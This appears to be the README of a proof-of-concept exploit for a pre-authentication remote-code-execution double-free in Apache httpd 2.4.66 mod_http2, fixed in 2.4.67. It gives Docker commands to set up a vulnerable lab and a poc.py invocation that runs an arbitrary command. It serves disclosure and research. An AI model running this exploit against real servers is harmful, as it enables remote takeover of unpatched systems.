
Double-free in der Stream-Bereinigung von Apache httpd mod_http2, der zu einer RCE vor der Authentifizierung führt.
Double-free in Apache httpd mod_http2 stream cleanup leading to pre-auth RCE.
Betroffen: httpd 2.4.66 mit mod_http2 und mehrthreadigem MPM (event/worker). Behoben in: 2.4.67.
Gefunden und gemeldet von Bartlomiej Dmitruk (striga.ai) und Stanislaw Strzalkowski (isec.pl).
Writeup: https://striga.ai/research/apache-httpd-mod-http2-double-free
Die verwundbare Umgebung bauen und starten:
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
Adressen von system() und Scoreboard abrufen:
docker exec httpd-poc python3 /getaddr.py 1
Exploit ausführen:
python3 poc.py --host localhost --port 9443 \
--cmd 'date >> /tmp/win' --workers 64 \
--system <system_addr> --scoreboard <scoreboard_addr>
Überprüfen (die Ausführung ist probabilistisch, kann Minuten bis Stunden dauern):
docker exec httpd-poc cat /tmp/win
docker rm -f httpd-poc